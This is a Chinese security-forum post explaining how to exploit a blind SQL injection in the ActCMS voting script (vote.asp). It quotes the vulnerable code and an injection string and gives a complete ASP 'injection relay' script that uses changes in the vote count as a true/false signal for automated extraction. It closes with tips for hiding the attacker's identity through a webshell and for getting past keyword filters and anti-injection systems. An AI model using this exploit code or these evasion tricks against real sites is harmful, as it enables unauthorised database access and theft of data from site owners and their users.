找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2173|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

- Q' m5 y, c: `" v* y看到ninty大牛的blog的一篇文章
. N8 j. w( S8 u; g3 V链接标记[url]http://www.forjj.com/?action=show&id=80[/url]# I3 m  c9 e& T. T" R
关于actcms漏洞的利用  by 3x qq:381862589
% w7 D, s+ z& t; ]2 i' z, N5 y转载请注明以上/ G# O/ H% T! u4 z8 ]
漏洞文件:! y1 M! Z8 L8 ?
/plus/vote/vote.asp$ Z5 D/ M, E; q8 C: C
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
1 j, c  o  c$ ?/ ^+ m" F* d8 `
. o/ J* F) _. Y2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
1 I! ?/ m7 U/ @6 E, V4 ~+ ?( ~+ P, L2 |7 ], s! S  u* n
3    response.end   
( q3 Y. M9 |6 e1 C: H) x% w: c: q  A: g! V+ ?
4    end if      w& |" M( K  p8 U0 I
. H- e5 \; X' `* X9 E* F" a7 R, n
5    for i=1 to request("voted").count    7 V3 A6 C( N. v' T' o: L$ i
7 O! R# q' l: x' b
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    - X" m0 Z' R. ~+ V4 y. b* p
4 ]3 o5 q# @; ~9 v6 `% ]
7    next    6 R! @/ T3 L: ^/ a

% e; k6 ^4 D" i- s1 ~  v8....   
5 {- M$ f+ Q& E4 x! l- ?0 S6 E4 N' \
9response.Redirect "index.asp?id="&id&""   
4 U$ ?, C+ V* a" q* {$ X" O投票结束回跳转回index.asp这个投票结果页面" [$ f, j+ s) F, i% E7 R& l0 J
如果投票成功票数加1
: C+ T# A/ D; E' U6 }            失败票数不变' @! o& U( C+ `7 p$ f
如图:
' U1 g% e+ R. C/ A1 G$ xhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
7 A" ?) Z# A+ ]: a5 A9 u6 T
8 Z) G, N2 t8 H( p. ]! r2009-12-27 13:205 j5 Y: P3 l6 ~+ ^7 R# r% v8 q
6 i  O% L5 U* q  A* h+ k- c: k
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
" {$ G, c* c; Z$ `+ J0 n# R/ r) o/ ?% L3 D! ]0 V/ R. L: Z
本帖隐藏的内容需要回复才可以浏览7 m& u. L3 K$ ~6 h4 p  y  p
我们用注入中转来实现这个注入具体代码如下:2 i7 r) g6 F3 q4 m' Q: F
先用寂寞的刺猬大牛的注入中转生成jmget.asp
# w" U4 g, L! G( K* S注入地址:http://localhost/actcms/plus/vote/vote.asp
; ]# H/ C3 l% m注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
! Y% S% x4 z; F+ N: A1 c% L; w4 j8 `# h& a  t
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ( Z, C5 Q: y) L9 V: l9 Y; z4 d
) C- b$ S' k2 k2 F7 G
02JmdcwName=request("jmdcw") 0 k# E# f! X3 e' b) e5 c8 `
/ Y9 j' V* T9 V0 d
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
8 f+ S& c+ k! b/ b; |# C
+ g# L2 ]' }- y04JmStr="id=1&voted=-1 or 1="&JmdcwName 8 N7 T" s7 i  S" j- E) G4 Y8 c2 n

: W! o- {1 F( _, t, {( o6 F05JmStr=URLEncoding(JmStr) , i9 E2 z( S* a0 t4 b# x0 p
, C* s/ n; H. t! T+ n1 }. d
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
2 D8 |0 R: x1 A* A$ A: H1 m% a/ `4 r, T  V* _4 s- S  Z: n
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"8 {/ t) f! K! b

: ^& A, b9 _4 ?  I" k/ w0 h08testurl=testurl & "?" & JmStr + W9 _( K7 ?' I- @

" N5 {1 [- l& }09JMUrl=JMUrl & "?" & JmStr # V/ b2 E& h+ `: g/ T6 c1 c7 m' c4 {

5 C6 o3 t4 l7 b& E0 l8 u10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"# T8 s5 g3 c2 P/ B6 j; B( N

( G* }: ~1 W9 l2 q: P  ?11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"4 R1 R3 x' [2 y
2 \* V. \" N: G& t; i- ]
12JmCok=replace(JmCok,chr(32),"%20")  5 {2 V' ]& L# x- s
) J8 a' T+ T' A+ C2 e! ]
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 0 T5 N$ K8 b" s* J) q1 L' Y$ E. j
5 t  N+ b+ O5 _" X
14  6 i# F  Y: ]9 R$ E+ J% }
7 s' q8 K5 l7 s* @
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
! u9 q6 }$ Y3 o% p2 b9 n3 K* I  O6 C3 t3 C, a  x- i2 }
16  
7 y$ u/ N2 k5 G( x$ p5 p1 M! T8 M) W7 h/ y& Y! ?
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
$ |" X0 i& J: c  t" \7 @# Q* H4 n$ S" U/ G8 v0 V. D7 T  H9 g
18response.write test1&""&test2&""
8 T' j) m/ ]( E" C9 ]  V9 ?6 ]. k  t2 \3 ^7 y4 r! n
19  7 ?: m) g' J+ L' u$ Z4 @9 t$ j
/ w% F3 [$ m' ^6 q9 p# p
20if test1=test2 then '如前后记录相等,表示失败 5 U) Y6 m4 l' v! ]6 {
9 e8 x  x6 S0 U0 q. b; \) I  k
21  response.write "failed"
( r7 c4 ~) ?3 U9 A. U1 B) M
7 ?* H* p' K6 T" ?- U) I22else
. t& U2 ?' h7 r- C! s1 e- `/ ]! ]+ S$ j5 c& @" f! p
23  response.write "succeed", i0 e4 A, Y! a) j9 p5 q
. S& c/ G# E) q0 y9 [
24end if  
% i* j2 k! b  c; x! x
& P1 t; z. ~" S  ~+ h7 U% ]25  $ i, D7 p; Q$ v% |; R/ H1 y- z

3 I0 o' s# R' ^2 \' A0 z! k  r26response.write "by 3x"9 A# o0 H- i- T7 L

* `  A6 \* r2 p7 N- N$ a27  
& e+ @" @3 Q% s% b, k0 C
3 P  d- ?- N: N3 N8 J1 S, ^28  
2 i( {+ q- a% t% W3 |" F$ b6 b" r3 ?0 J1 S+ d9 ~1 b
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
5 _: |, V( F7 i6 |( m4 p
9 g& x: Y7 @( m: e9 P  @% N30Dim Http
' a1 ]0 ?2 g% T. w6 T9 F
% g9 A8 H* o4 l31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 1 z/ }" s+ \: y1 x+ K! {) W6 F
5 B( p( J7 P( z% H1 z
32With Http $ J. d1 D6 r; @" T& N
( R; _, T8 O  I
33  " b6 O4 w$ s7 J, [) a4 Q- C

9 |$ D; |) Q. X1 L* v% X4 x# F34.Open "GET",PostUrl,False" h2 |- V' P& y% P1 K

- N* y) [$ F+ V1 ]: j3 H& g35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"8 v* V* R% D- C, b9 m8 T

% y& t" E. F- q1 }( ~, Y36.SetRequestHeader "Referer",PostRef + y' e% F/ @3 r5 v) f9 [* Z; ]' F  O: r

4 q$ T7 ~1 }/ R; e: C37.SetRequestHeader "Cookie",PostCok 1 w; f: o. {# _' ^' `  Z

: r6 c, X0 q4 V/ p& Z) K38.Send ()
/ f6 e5 t$ m) \; `* r
( P+ s, |: ^, [) W' e- O39PostData = .ResponseBody 2 i' _- }6 s# @- c8 n8 j0 Z

8 @. p1 b; p( ~! W7 b40End With3 m1 s& o$ I) ]9 e. N% p

$ ~5 c/ a7 c; h. K8 z2 q41Set Http = Nothing
0 F, O" f, e, U
# n2 W3 l# R! U2 N& M) L42PostData =bytes2BSTR(PostData) / g8 ^6 I" R1 O4 ?. _

! O$ ?4 d7 v+ l$ K0 _$ I( k$ u9 m( u43End Function& ?. ^5 u: ~2 e4 c! B
' j5 G& }* }: W. d5 j' G
44  # Q% |5 Q/ x3 @8 I* c$ E+ V) |5 R( _

) _8 }. I/ A9 x+ t. O45  ) W0 v' h" W) V

, I; ~, M& z9 T/ k0 j46Function bytes2BSTR(vIn) % L9 j9 J  E3 V- s: S! ^
! [) i) j" I7 }4 B9 q
47Dim strReturn
5 ^% W- w2 }& s! A6 F8 }8 e, Z$ S5 i0 J" {* i1 w
48Dim I, ThisCharCode, NextCharCode * |# Y/ I3 r$ T1 E6 D( h: J

# i( ?$ h, b  j" W8 ?& u! L4 w49strReturn = ""
# f0 n6 O( W1 f8 o
9 i" c% K% }5 E# L* j3 T: y50For I = 1 To LenB(vIn)
, p1 h, ~! n! M% X( e% C) V& C/ s$ r
51ThisCharCode = AscB(MidB(vIn, I, 1)) 8 |! c& ]4 d" r+ ^
# ]4 j: e. z- M" e& {, g1 n
52If ThisCharCode < &H80 Then: C1 L$ A: M: D; I- f

5 q) m7 [4 `, C0 c' Q0 A53strReturn = strReturn & Chr(ThisCharCode) . B  ~2 T' f1 @0 [& _; a
" {/ J4 O2 i$ M5 R; B
54Else
6 s& k% |" q% [6 S) r4 k; [4 U. w7 f
& O- v" ?3 t" ]3 d55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' }, a. ?6 S$ s+ _/ l" D
/ V) L( j$ O" O- y+ P56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) " e4 r$ b! T  b

* t+ f# }% L: U57I = I + 1 , ]  l8 y) P0 y# ^1 a) y. F- T

9 G$ m  O* m  h. I3 j58End If4 j. U3 \4 w5 a" M8 N2 \6 ?

8 `! ^% \. }. L9 j5 \59Next
: I6 n" y6 o6 a3 K2 U- M+ k& V
  @" k, S$ o2 s2 @( Q% k/ T- d1 Q! {60bytes2BSTR = strReturn 1 y* M+ }5 u) L& J: x" i7 v/ R
: X& L; c$ I) f8 G% Q1 A8 q; j
61End Function& X" }% q8 U/ C# E

1 ~+ [* D# _8 u( @& D62  
9 P* v% C8 m  U! z  ~, [% I+ W1 \& n% A) w
63Function URLEncoding(vstrin)  
5 E( h& ~- w8 k# o* D3 w6 n: U2 B3 U
64strReturn=""
5 ^5 k$ B) z5 W2 F: h7 D
9 n( P6 Z+ M9 Q$ y65Dim i 7 e# c1 \5 @! G! B  T

9 v- P  S" L+ A; u6 w66For i=1 To Len(vstrin)
8 M7 \/ J6 v( x) ^' _' x/ N
' q, V( `& u" Q67ThisChr=Mid(vstrin,i,1) * G9 x" x6 ~! l) Y

; N% B& U4 C  T) o  J68if Abs(Asc(ThisChr))< &HFF Then
  D' ?# C9 t' I/ W( Y  O9 U
: H+ n& |2 U0 l& d, p69strReturn=strReturn & ThisChr
4 H+ l6 y7 n, Y: O2 X# O
& g, O$ ?9 [, i9 @$ x, T% Y! n70Else
8 _1 S3 u6 T' ?4 r3 w. F) }2 G& P0 k. I7 T# y( P" C% W8 _
71InnerCode=Asc(ThisChr)
  |$ z, p8 T, `! u* \0 O; T9 N+ D! N& i& X
72If InnerCode<0 Then) ^0 I1 k# E$ c/ U
' D7 K% L& a+ q4 I& z
73InnerCode=InnerCode + &H10000 , L9 ~+ T) N: U4 u

/ U/ m; F" k0 z+ z! N74End If
. i8 @5 P: f9 q( g. h: I
$ m! C  z1 D5 v9 P75Hight1=(InnerCode And &HFF00) \&HFF ! J. r: |; P' x# Y: C/ A1 |$ e
0 v! C1 U# t% Q, l
76Low1=InnerCode And &HFF
$ N! k& O+ v0 \1 ]
+ |4 P7 g* Q4 {* @& I' z77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
3 E+ L. v% |# a" l9 ^. I+ G; a
" Q3 c3 J3 ?" L1 T78End if 8 q2 i$ t- f/ l0 L8 g

/ L" e& S( w; A5 u. N79Next5 p. a1 D* e7 H' D# ?

1 K1 f) T6 v0 S$ u7 ?7 O80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 % }3 O% S' V' c% `6 }
. \; B5 K0 J0 f2 `
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
8 U, `7 d/ M, S7 E8 n  Z0 E: Q5 s, k$ p+ K* _
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 0 @9 g( g# G2 |/ L! v

6 g* m' }" X" N) N83URLEncoding=strReturn
) H$ X" S7 G. m. y& w& ^: R% a8 ~; L* [- A* [
84End Function: G" t, o7 J. Z( G9 u/ D& |
* s% x) }: y/ l7 Q, A
85  
* m- o' H- x" c3 t) A6 ~  d$ J' b
86function getSt(body) ) N+ P4 m/ G+ K
; M& ?6 X, H1 k4 ]5 K3 L6 X, y+ Z2 ?
87  startpot=instr(body,"投票人数:")+len("投票人数:") ; k% Q$ @. X1 ?2 o4 V  v7 F
. G" _' k" c! e
88  endpot=instr(startpot,body," ")
! Y9 n- R" H& t' n0 U8 J3 l% Q4 q; F$ ?! K$ g5 m: ~
89  getSt=mid(body,startpot,endpot-startpot) 5 v) C* Y3 s- X, \& P

7 `$ L$ t# m- d# ?" b90end function : m' ]& e' R& Z6 u/ P

; ?3 u( E7 Y: R, n4 Y91%>
4 w- U3 J+ `: s注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
" c; Q5 N$ G& {; E( W测试下效果:! X: V3 O8 @, i" Z  j0 O3 I$ L
投票成功:6 J: U5 s3 s9 u
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
& i  L1 m: s$ \; Z( i; {
$ g6 P9 [( }" M! K" h, t- e2009-12-27 13:29
& b6 o2 ~- U0 u0 l/ S- v; E投票失败7 f6 t. R, y8 ]) t! ~  T' i1 \
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)9 x& R" b" q3 q; J3 V9 n# N
- {( y9 }  `/ E  {
2009-12-27 13:29
# |- i9 X# o! d, ]( c-------------------------------------------------------------------------------
6 Y% b9 l$ |. A- v* N再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以% ^* l% [5 x  e& k# V7 \3 |
很抱歉。。。只能用单线程工具去注入。。。。。+ r. x- J) {. `& L$ e# Y6 P
所以失败。。。不好意思。。。/ V9 T; Z9 S- b! d
-------------------------------------------------------------------------------
5 H0 W8 n7 w- D; @6 c8 X' t5 S9 P4 S, Q6 h  w
注入中转的一些其他应用! g  r: L6 D$ j0 v/ t' ?7 `
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了  N0 t7 j; ?+ g7 k+ _5 l
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id( @7 G3 ?8 z( @/ E& @- l8 l7 u' x
2.post注入转成get型的注入,方便我们使用工具来跑
- W& [& `2 K9 c2 J1 F7 V% E3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")! L; G0 A* ]) B& _! Y
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
/ a# v1 R) J1 [4 ]' S% F5 ?- m2 o* i5 u' j7 g' ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表